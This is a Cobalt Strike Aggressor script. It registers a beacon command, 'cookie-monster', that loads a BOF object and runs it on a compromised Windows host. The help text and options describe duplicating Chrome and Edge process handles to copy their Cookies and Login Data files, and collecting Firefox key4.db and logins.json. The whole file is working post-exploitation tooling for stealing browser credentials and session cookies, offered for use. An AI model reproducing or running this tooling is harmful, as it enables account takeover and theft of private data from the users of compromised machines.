# Example BOF cookie-monster  BOF 
# The alias cookie-monster is used to locate and copy the cookie file used for Edge/Chrome/Firefox
# Usage: cookie-monster
#
# Example:
#    cookie-monster
#

beacon_command_register(
"cookie-monster",
"Locate and copy the cookie file used for Edge/Chrome/Firefox",
"Usage: cookie-monster [--chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid> ] \
cookie-monster Example: \
   cookie-monster --chrome \
   cookie-monster --edge \
   cookie-moster --firefox \
   cookie-monster --chromeCookiePID 1337 \
   cookie-monster --chromeLoginDataPID 1337 \
   cookie-monster --edgeCookiePID 4444 \
   cookie-monster --edgeLoginDataPID 4444 \
cookie-monster Options: \
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD \
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD \
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file \
    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \  
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \ 
    ");

# $1 - beacon id
# $2 - args

alias cookie-monster {
    local('$handle $data $args $chrome $edge $firefox $all');

    # read in our BOF file...   
    $handle = openf(script_resource("cookie-monster-bof.o"));
    $data   = readb($handle, -1);
    closef($handle);

    if(strlen($data) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    # declare variables
    $chrome = 1;
    $edge = 1;
    $firefox = 1;
    $chromeCookiePID = 1;
    $chromeLoginDataPID = 1;
    $edgeCookiePID = 1;
    $edgeLoginDataPID = 1;
    $pid = 1;

    for ($i = 1; $i < size(@_); $i++)
    {
        if (@_[$i] eq "--chrome")
        {
            $chrome = 0;
        }
        else if (@_[$i] eq "--edge")
        {
            $edge = 0;
        }
        else if (@_[$i] eq "--firefox")
        {
            $firefox = 0;
        }
        else if (@_[$i] eq "--chromeCookiePID")
        {
            $chromeCookiePID = 0;
            # get PID
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --chromeCookiePID PID value");
                return;
            }
            $pid = @_[$i];
            if(!-isnumber $pid || $pid eq "1")
                {
                    berror($1, "Invalid PID: " . $pid);
                    return;
                }
        }
        else if (@_[$i] eq "--chromeLoginDataPID")
        {
            $chromeLoginDataPID = 0;
            # get PID
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --chromeLoginDataPID PID value");
                return;
            }
            $pid = @_[$i];
            if(!-isnumber $pid || $pid eq "1")
                {
                    berror($1, "Invalid PID: " . $pid);
                    return;
                }
        }
        else if (@_[$i] eq "--edgeCookiePID")
        {
            $edgeCookiePID = 0;
            # get PID
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --edgeCookiePID PID value");
                return;
            }
            $pid = @_[$i];
            if(!-isnumber $pid || $pid eq "1")
                {
                    berror($1, "Invalid PID: " . $pid);
                    return;
                }
        }
        else if (@_[$i] eq "--edgeLoginDataPID")
        {
            $edgeLoginDataPID = 0;
            # get PID
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --edgeLoginDataPID PID value");
                return;
            }
            $pid = @_[$i];
            if(!-isnumber $pid || $pid eq "1")
                {
                    berror($1, "Invalid PID: " . $pid);
                    return;
                }
        }
        else {
            berror($1, "NONE OF THE OPTIONS SELECTED");
            return;
        }
    }

    if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromeCookiePID == 1 && $chromeLoginDataPID == 1 && $edgeCookiePID == 1 && $edgeLoginDataPID == 1 && $pid == 1){
        berror($1, "NO OPTIONS SELECTED");
        return;
    }
    
    $args = bof_pack($1, "iiiiiiii", $chrome, $edge, $firefox, $chromeCookiePID, $chromeLoginDataPID, $edgeCookiePID, $edgeLoginDataPID, $pid );
    beacon_inline_execute($1, $data, "go", $args);

}